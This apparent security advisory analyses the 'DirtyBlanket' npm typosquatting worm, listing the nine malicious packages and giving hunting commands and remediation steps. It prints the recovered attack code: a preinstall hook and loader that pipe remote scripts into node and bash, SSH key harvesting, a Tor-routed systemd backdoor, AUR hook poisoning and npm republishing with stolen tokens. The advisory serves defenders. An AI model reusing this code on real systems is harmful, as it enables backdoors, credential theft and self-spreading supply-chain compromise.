CVE
Not assigned
CWE
CWE-494, CWE-506, CWE-522
Affected Surface
- Linux developer workstations, CI runners, and build hosts that installed any of the nine dirtyblanket npm packages on or after 2026-09-29
- Arch Linux maintainers whose SSH keys on those hosts could push to AUR packages, because the worm adds a remote fetch-and-execute line to package install hooks
- npm maintainers whose hosts contained readable .npmrc tokens and local package trees outside node_modules, because the worm republishes trojanized patch versions under every usable token it finds
On 29 September 2026, the npm account dirtyblanket published nine typosquatted packages in 33 minutes. Eight were near-copies of express@5.2.1. One copied react@19.3.0. The registry package names looked throwaway, but the post-install chain was not. On Linux, a normal npm install pulled a remote loader, launched a Bash worm, installed a Tor-routed backdoor, reused every SSH key it could read, modified Arch AUR packages, and attempted to republish trojanized npm patch releases from local source trees.
This is worth separating from a routine typosquat. The initial packages are only the first execution point. Once the worm lands on a Linux machine, it starts using the machine’s own trust relationships to spread into SSH-reachable hosts, AUR repositories, and npm publish scopes.
Affected packages
All nine packages were published by the same npm user, dirtyblanket, on 29 September 2026.
| Package | Version | Copied upstream package | Published UTC |
|---|---|---|---|
xeprews | 5.2.1 | express | 06:05:54 |
express-javascript | 5.2.1 | express | 06:09:16 |
express-nodejs | 5.2.1 | express | 06:12:06 |
react-nodejs | 19.3.0 | react | 06:12:36 |
exprdd | 5.2.1 | express | 06:31:51 |
exprrdd | 5.2.1 | express | 06:32:03 |
exptrdd | 5.2.1 | express | 06:35:14 |
exptred | 5.2.1 | express | 06:36:42 |
exptredd | 5.2.1 | express | 06:38:56 |
The package contents were close copies of the legitimate tarballs. The dangerous change was a single lifecycle hook:
"preinstall": "curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
That line matters for two reasons:
- The malicious logic is remote and mutable, not embedded in the package tarball.
- The first network destination many defenders will log is
web.archive.org, not the attacker’s Codeberg repository.
The execution chain
The package install path was short:
npm install
-> preinstall hook
-> node.js
-> linux.sh
-> systemd-fontd / systemd-fontrenderd
-> SSH, AUR, and npm propagation
Stage 0: preinstall fetches the loader
Every malicious package used the same hook. That means a lockfile or registry search on package names alone is not enough. You also want to search package manifests and CI logs for the remote fetch string itself:
rg -n 'web\\.archive\\.org/web/https://codeberg\\.org/hellscripter/install-scripts/raw/branch/main/node\\.js' \
package.json package-lock.json pnpm-lock.yaml yarn.lock .github/workflows . .
Stage 1: node.js gates on Linux and stays quiet
The retrieved node.js loader was minimal:
const { exec } = require("child_process");
if (process.platform === "linux") {
exec(
"curl https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh | bash",
() => {}
);
}
The empty callback is not an implementation detail. It means the second-stage failure path is silent. A build may appear to finish normally while the worm continues asynchronously.
Stage 2: linux.sh installs the worm and starts host discovery
SafeDep’s recovered linux.sh shows that the attacker did not stop at one foothold. The script installs packages, enables Tor, starts the backdoor install, collects reachable SSH targets, and begins parallel propagation over both SSH and npm:
_async_pre_install() {
source /etc/os-release
if [ "$EUID" -eq 0 ]; then
if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; then
until pacman -S --needed --noconfirm tor openssh git npm base-devel
do
sleep 1
done
elif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
apt-get install -y tor openssh-client git npm build-essential
fi
fi
_deploy_fontrenderd &
export GIT_TERMINAL_PROMPT=0
_known_hosts=$(mktemp)
cat {/home/*,/root,/mnt/c/Users/*}/.ssh/known_hosts /etc/ssh/ssh_known_hosts{,2} >> "$_known_hosts"
for _key in $(file {/home/*,/root,/mnt/c/Users/*}/.ssh/** | grep "OpenSSH private key" | cut -d":" -f1)
do
_use_ssh_key "$_key" &
done
for _package in $(dirname /**/package.json | grep -v node_modules)
do
_do_npm_update "$_package" &
done
}
Three details change the impact:
- The search path includes WSL-mounted Windows home directories under
/mnt/c/Users/*, not just native Linux user homes. - The script runs
dirname /**/package.json, so it hunts across the filesystem for local package trees to republish. - The SSH propagation path is driven by
known_hosts, not by brute force. The worm reuses relationships the victim host already trusts.
Persistence and backdoor behavior
The root-mode persistence path writes a fake systemd service and makes it immutable:
curl "$_linux_binary_url" -o /usr/lib/systemd/systemd-fontrenderd
chmod +x /usr/lib/systemd/systemd-fontrenderd
chattr +i /usr/lib/systemd/systemd-fontrenderd
cat <<EOF >/etc/systemd/system/systemd-fontrenderd.service
[Unit]
Description=Font Rendering Service
Requires=tor.service
After=tor.service
[Service]
Environment="HTTP_PROXY=socks5://127.0.0.1:9050"
ExecStart=/usr/lib/systemd/systemd-fontrenderd
KillMode=none
EOF
The non-root path is different but no safer. It unpacks the Tor Expert Bundle under the user’s home directory, installs a user service named systemd-fontrenderd.service, and launches the payload itself as ~/.config/systemd/systemd-fontcached.
The payload binary was identified as a modified CHAOS client. That gives the operator a real remote administration channel, not just a one-shot stealer. The recovered binary metadata and command handlers support shell execution, file upload and download, screenshot capture, and host profiling. If the initial npm install ran as root inside a build container or workstation, the operator gets a root service.
Why this became a supply-chain problem in three ecosystems
The two propagation functions are what lift DirtyBlanket above a simple typosquat.
AUR poisoning
For each SSH key that could authenticate to the AUR, the worm cloned the maintainer’s packages, incremented pkgrel, added a remote execution line to the install hook, and pushed the change with a routine-looking commit message:
echo "bash <(curl '$_linux_script_url')" >> "$install"
git commit -m "upgpkg: $pkgver-$pkgrel" -a --no-gpg-sign
git push
npm republishing
For each discovered package.json outside node_modules, the worm preserved a temporary copy, appended its loader to scripts.preinstall, bumped the patch version, and ran npm publish with every .npmrc it could find:
local _preinstall="$(npm pkg get scripts.preinstall)"
if [ -n "$_preinstall" ]; then
local _preinstall+=' & '
fi
local _preinstall+="curl $_node_script_url | node"
npm pkg set scripts.preinstall="$_preinstall"
npm version patch
for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"
do
export NPM_CONFIG_USERCONFIG
npm publish &
done
That pattern means the first package you install may not be the only malicious package you need to scope. Any package the infected host was able to publish can become a second-wave carrier.
What to hunt
Start with the exact package names, then widen to the runtime artifacts.
Registry and source-tree checks
rg -n \
'xeprews|express-javascript|express-nodejs|react-nodejs|exprdd|exprrdd|exptrdd|exptred|exptredd' \
package*.json npm-shrinkwrap.json pnpm-lock.yaml yarn.lock . .
Persistence artifacts
ls -l \
/usr/lib/systemd/systemd-fontrenderd \
/etc/systemd/system/systemd-fontrenderd.service \
/etc/systemd/system/multi-user.target.wants/systemd-fontrenderd.service \
~/.config/systemd/systemd-fontcached \
~/.config/systemd/user/systemd-fontrenderd.service \
~/.config/systemd/user/systemd-fontcached.service 2>/dev/null
Process, filesystem, and network indicators
rg -n \
'systemd-fontrenderd|systemd-fontcached|s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid|hellscripter/install-scripts|/tmp/log' \
~/.config /etc/systemd /var/log "$HOME" 2>/dev/null
Unexpected publish hooks
rg -n \
'curl https://web\\.archive\\.org/web/https://codeberg\\.org/hellscripter/install-scripts/raw/branch/main/node\\.js \\| node' \
. --glob 'package.json'
One reported edge case is worth noting: Ossprey observed that the Wayback-based curl chain can fail on hosts that do not follow redirects by default. That lowers opportunistic success. It does not lower severity. The attacker only needs to switch one URL or add -L in a later revision to restore the full path.
Response guidance
-
Treat any Linux host that installed one of the nine packages as compromised.
-
Remove the immutable bit before cleanup:
sudo chattr -i /usr/lib/systemd/systemd-fontrenderd \ /etc/systemd/system/systemd-fontrenderd.service \ /etc/systemd/system/multi-user.target.wants/systemd-fontrenderd.service -
Rotate every SSH key and every npm token readable from the host. If the host was a CI runner, rotate cloud credentials, registry secrets, and Git credentials as well.
-
Review AUR repositories and npm packages associated with those credentials for unexpected patch releases, new
preinstallhooks, orupgpkg:commits from 29 September onward. -
Check SSH-reachable Linux systems listed in affected
known_hostsfiles for the same service names and loader strings.
DirtyBlanket shows a pattern AppSec teams should keep expecting. The package name is disposable. The lasting damage comes from what the first infected host is already trusted to reach.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.